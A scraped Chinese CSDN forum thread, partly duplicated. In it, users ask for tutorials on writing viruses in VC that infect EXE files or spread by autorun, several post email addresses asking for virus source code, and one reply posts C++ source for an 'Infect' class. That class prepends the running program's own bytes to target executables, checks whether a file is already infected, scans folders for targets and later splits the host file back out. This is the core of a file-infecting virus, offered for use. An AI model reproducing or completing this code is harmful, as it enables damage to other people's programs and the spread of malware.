求个VC上病毒教程!! 学习病毒知识,想求VC上的病毒教程或相关资料,VB也行,基础的最好。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 楼主想干嘛我有大量此类源程序,VC,Win32ASM的,例子从简单到复杂全面批注,不过VB的没有楼主想做坏事? 我也想要来研究研究!能发给我吗?E-Mail:[email protected] 只是想研究下感染实现这类,不涉及恶意破坏EM:[email protected] 难得一次登陆CSDN的验证码是88888去了CVC看了下,多数是汇编的,不过我只想用VC写传染EXE这,AUTORUN这种的给点资料哦,谢谢 :-)同求这类代码[email protected] 不要動不動就Email Email的網搜下一大堆xsiiao的代碼//Infect.h//--------------------------------------------------begin----------------------------------------------------#define INFECTAPI 0x00010001#include "windows.h"#include "stdio.h"#define RUNFLAG_APPOSE 1 //并列执行#define RUNFLAG_ORDER 2 //顺序执行class Infect{public:Infect(void *INFECT=NULL); //构造~Infect(void); //析构public:virtual int BindFiles(char *NewPathBufName,char *PassWord);virtual int FindFiles(char *PathBuf,char *WildCardBuf, void *lParam);virtual int ReduceFiles(char *NewPathBufName,char *PassWord);virtual bool ExcepTionName(char *buf);virtual long GetFileLen(char *PathFileName);protected:long FileLength(FILE *fp);char szfilename[1024];bool v_strcmp(char *str1,char *str2,long len1,long len2);};//------------------------------------------------end--------------------------------------------------------//Infect.cpp//---------------------------------------------------begin---------------------------------------------------#include "Infect.h"Infect::Infect(void *INFECT){ memset(szfilename,0,1024);GetModuleFileName(NULL, szfilename, 1024 ); // 得到程序全路径名}Infect::~Infect(){}int Infect::BindFiles(char *NewPathBufName,char *PassWord)//绑定//这里没有用到PASSWORD{FILE *fp1;FILE *fp2;DWORD dwAttrs1,dwAttrs2; dwAttrs1 = GetFileAttributes(NewPathBufName); //更改文件属性,用于读写.SetFileAttributes(NewPathBufName,FILE_ATTRIBUTE_NORMAL); dwAttrs2 = GetFileAttributes(szfilename); SetFileAttributes(szfilename,FILE_ATTRIBUTE_NORMAL); if(NULL==(fp1=fopen(NewPathBufName,"rb+"))) //文件存在:读,写(有可能失败),{return 1;}if(NULL==(fp2=fopen(szfilename,"rb"))) //读,成功 //程序本身.{ return 2;}char *str1;char *str2;long len1=0,len2=40960;//len2这里写上EXE文件的大小str1=(char *)malloc(len2);str2=(char *)malloc(len2);memset(str1,0,len2);memset(str2,0,len2);long a,b;a=fread(str1,1,len2,fp1);b=fread(str2,1,len2,fp2);if(v_strcmp(str1,str2,a,b))//验证是否已经绑定return 4;free((char *)str1);fseek(fp1,0,SEEK_SET);len1=FileLength(fp1); //取得NEW文件长度str1=(char *)malloc(len1);fread(str1,1,len1,fp1);fseek(fp1,0,SEEK_SET);fwrite(str2,1,len2,fp1);fwrite(str1,1,len1,fp1);fclose(fp1);fclose(fp2);free((char *)str1);free((char *)str2);SetFileAttributes(NewPathBufName,dwAttrs1); //还原文件属性.SetFileAttributes(szfilename,dwAttrs2); return 3;}int Infect::FindFiles(char *PathBuf,char *WildCardBuf,void *lParam)//查找{WIN32_FIND_DATA FileData; HANDLE hSearch;char DirPath[1024];memset(DirPath,0,1024);strcpy(DirPath,PathBuf);///****************if(DirPath[(int)strlen(DirPath)-1]!='\\')DirPath[(int)strlen(DirPath)]='\\';strcat(DirPath,WildCardBuf);///*************************//合并搜索路径 //这个可以用溢出来使程序崩溃// 所以在调用的时候加一个验证.或者自己换一个DirPath.我这里就不在写了.hSearch = FindFirstFile(DirPath, &FileData); if (hSearch == INVALID_HANDLE_VALUE) { return 0;} while (1) {if(FileData.cFileName[0]!='.'){/* char str[1024]; //这里是我测试用的.请自行编写代码.memset(str,0,1024);strcpy(str,PathBuf);if(str[(int)strlen(str)-1]!='\\')str[(int)strlen(str)]='\\';strcat(str,FileData.cFileName);MessageBox(NULL,str,"",0);FindFiles(str,WildCardBuf,NULL);*/}//在这里添加改写文件代码吧.// 绑定 文件;;if (!FindNextFile(hSearch, &FileData)) {if (GetLastError() == ERROR_NO_MORE_FILES) { FindClose(hSearch);return 0;} else { FindClose(hSearch);return 0;} }} return 0;}int Infect::ReduceFiles(char *NewPathBufName,char *PassWord)//分解//这里没有用到第二个参数.{FILE *fp1;FILE *fp2;if(NULL==(fp1=fopen(szfilename,"rb"))) //:读,成功 { return 1;}char *str1;char *str2;long len1=0,len2=40960;//len2这里写上EXE文件的大小len1=FileLength(fp1)-len2;if(len1<=0) //验证是否要分解文件.return 4;str1=(char *)malloc(len1);str2=(char *)malloc(len2);memset(str1,0,len1);memset(str2,0,len2);fread(str2,1,len2,fp1);fread(str1,1,len1,fp1);if(NULL==(fp2=fopen(NewPathBufName,"wb+"))){return 2;}fwrite(str1,1,len1,fp2);fclose(fp1);fclose(fp2);free((char *)str1);free((char *)str2);return 3;}bool Infect::ExcepTionName(char *buf)//例外 //这里的代码我就不写了,每个人的想法不同.{return false;}long Infect::GetFileLen(char *PathFileName){ long len=0;FILE *fp;if(NULL==(fp=fopen(PathFileName,"rb"))) //文件存在:只读{return -1;}len=FileLength(fp);fclose(fp);return len;}long Infect::FileLength(FILE *fp) { long lCurpos, lLength; lCurpos = ftell(fp); fseek(fp,0,SEEK_END); lLength=ftell(fp); fseek(fp,lCurpos,SEEK_SET); return lLength; } bool Infect::v_strcmp(char *str1,char *str2,long len1,long len2){long i=0;i=(len1>len2?len2:len1);for(long j=0;j<i;j++){if(str1[j]!=str2[j])return false;}return true;} 关于内存地址空间? 怎么样才能获取窗口客户区的句柄 combobox的问题 请问在页面上怎样实现tab控件的效果? 问大侠们一个数据结构的小问题 关于ACTIVX控件的库存属性页的问题? 如何提高自己的编程能力! 急救!!!!!com可执行文件移植的问题。 怎么把光标始终放在在RichEdit新增文字最后 大家有没有遇到vc6.0的代码,无缘无故不能保存了 用new申请的brush,我不知在那delete,出现内存泄漏,怎么办? 为什么一换页面输入发就不能用了
我有大量此类源程序,VC,Win32ASM的,例子从简单到复杂全面批注,不过VB的没有
楼主想做坏事?
EM:[email protected]
去了CVC看了下,多数是汇编的,不过我只想用VC写传染EXE这,AUTORUN这种的
给点资料哦,谢谢
[email protected]
網搜下一大堆
xsiiao的代碼
//Infect.h
//--------------------------------------------------begin----------------------------------------------------
#define INFECTAPI 0x00010001
#include "windows.h"
#include "stdio.h"
#define RUNFLAG_APPOSE 1 //并列执行
#define RUNFLAG_ORDER 2 //顺序执行class Infect
{
public:
Infect(void *INFECT=NULL); //构造
~Infect(void); //析构
public:
virtual int BindFiles(char *NewPathBufName,char *PassWord);
virtual int FindFiles(char *PathBuf,char *WildCardBuf, void *lParam);
virtual int ReduceFiles(char *NewPathBufName,char *PassWord);
virtual bool ExcepTionName(char *buf);
virtual long GetFileLen(char *PathFileName);
protected:
long FileLength(FILE *fp);
char szfilename[1024];
bool v_strcmp(char *str1,char *str2,long len1,long len2);};//------------------------------------------------end--------------------------------------------------------
//Infect.cpp
//---------------------------------------------------begin---------------------------------------------------
#include "Infect.h"
Infect::Infect(void *INFECT)
{
memset(szfilename,0,1024);
GetModuleFileName(NULL, szfilename, 1024 ); // 得到程序全路径名
}
Infect::~Infect()
{
}int Infect::BindFiles(char *NewPathBufName,char *PassWord)//绑定//这里没有用到PASSWORD
{
FILE *fp1;
FILE *fp2;
DWORD dwAttrs1,dwAttrs2;
dwAttrs1 = GetFileAttributes(NewPathBufName); //更改文件属性,用于读写.
SetFileAttributes(NewPathBufName,FILE_ATTRIBUTE_NORMAL);
dwAttrs2 = GetFileAttributes(szfilename);
SetFileAttributes(szfilename,FILE_ATTRIBUTE_NORMAL);
if(NULL==(fp1=fopen(NewPathBufName,"rb+"))) //文件存在:读,写(有可能失败),
{
return 1;
}if(NULL==(fp2=fopen(szfilename,"rb"))) //读,成功 //程序本身.
{
return 2;
}char *str1;
char *str2;
long len1=0,len2=40960;//len2这里写上EXE文件的大小str1=(char *)malloc(len2);
str2=(char *)malloc(len2);memset(str1,0,len2);
memset(str2,0,len2);
long a,b;
a=fread(str1,1,len2,fp1);
b=fread(str2,1,len2,fp2);if(v_strcmp(str1,str2,a,b))//验证是否已经绑定
return 4;free((char *)str1);
fseek(fp1,0,SEEK_SET);
len1=FileLength(fp1); //取得NEW文件长度str1=(char *)malloc(len1);
fread(str1,1,len1,fp1);fseek(fp1,0,SEEK_SET);
fwrite(str2,1,len2,fp1);
fwrite(str1,1,len1,fp1);fclose(fp1);
fclose(fp2);free((char *)str1);
free((char *)str2);
SetFileAttributes(NewPathBufName,dwAttrs1); //还原文件属性.
SetFileAttributes(szfilename,dwAttrs2);
return 3;
}
int Infect::FindFiles(char *PathBuf,char *WildCardBuf,void *lParam)//查找
{WIN32_FIND_DATA FileData;
HANDLE hSearch;
char DirPath[1024];
memset(DirPath,0,1024);
strcpy(DirPath,PathBuf);///****************
if(DirPath[(int)strlen(DirPath)-1]!='\\')DirPath[(int)strlen(DirPath)]='\\';
strcat(DirPath,WildCardBuf);///*************************
//合并搜索路径 //这个可以用溢出来使程序崩溃// 所以在调用的时候加一个验证.或者自己换一个DirPath.我这里就不在写了.
hSearch = FindFirstFile(DirPath, &FileData);
if (hSearch == INVALID_HANDLE_VALUE)
{
return 0;
}
while (1)
{
if(FileData.cFileName[0]!='.')
{
/* char str[1024]; //这里是我测试用的.请自行编写代码.
memset(str,0,1024);
strcpy(str,PathBuf);
if(str[(int)strlen(str)-1]!='\\')str[(int)strlen(str)]='\\';
strcat(str,FileData.cFileName);
MessageBox(NULL,str,"",0);
FindFiles(str,WildCardBuf,NULL);*/
}
//在这里添加改写文件代码吧.
// 绑定 文件;;
if (!FindNextFile(hSearch, &FileData))
{
if (GetLastError() == ERROR_NO_MORE_FILES)
{
FindClose(hSearch);
return 0;
}
else
{
FindClose(hSearch);
return 0;
}
}
}
return 0;
}
int Infect::ReduceFiles(char *NewPathBufName,char *PassWord)//分解//这里没有用到第二个参数.
{
FILE *fp1;
FILE *fp2;if(NULL==(fp1=fopen(szfilename,"rb"))) //:读,成功
{
return 1;
}char *str1;
char *str2;
long len1=0,len2=40960;//len2这里写上EXE文件的大小len1=FileLength(fp1)-len2;if(len1<=0) //验证是否要分解文件.
return 4;
str1=(char *)malloc(len1);
str2=(char *)malloc(len2);
memset(str1,0,len1);
memset(str2,0,len2);fread(str2,1,len2,fp1);
fread(str1,1,len1,fp1);if(NULL==(fp2=fopen(NewPathBufName,"wb+")))
{
return 2;
}
fwrite(str1,1,len1,fp2);fclose(fp1);
fclose(fp2);free((char *)str1);
free((char *)str2);
return 3;
}
bool Infect::ExcepTionName(char *buf)//例外 //这里的代码我就不写了,每个人的想法不同.
{return false;
}
long Infect::GetFileLen(char *PathFileName)
{ long len=0;
FILE *fp;
if(NULL==(fp=fopen(PathFileName,"rb"))) //文件存在:只读
{
return -1;
}
len=FileLength(fp);
fclose(fp);
return len;
}
long Infect::FileLength(FILE *fp)
{
long lCurpos, lLength;
lCurpos = ftell(fp);
fseek(fp,0,SEEK_END);
lLength=ftell(fp);
fseek(fp,lCurpos,SEEK_SET);
return lLength;
}
bool Infect::v_strcmp(char *str1,char *str2,long len1,long len2)
{
long i=0;
i=(len1>len2?len2:len1);
for(long j=0;j<i;j++)
{
if(str1[j]!=str2[j])
return false;
}
return true;}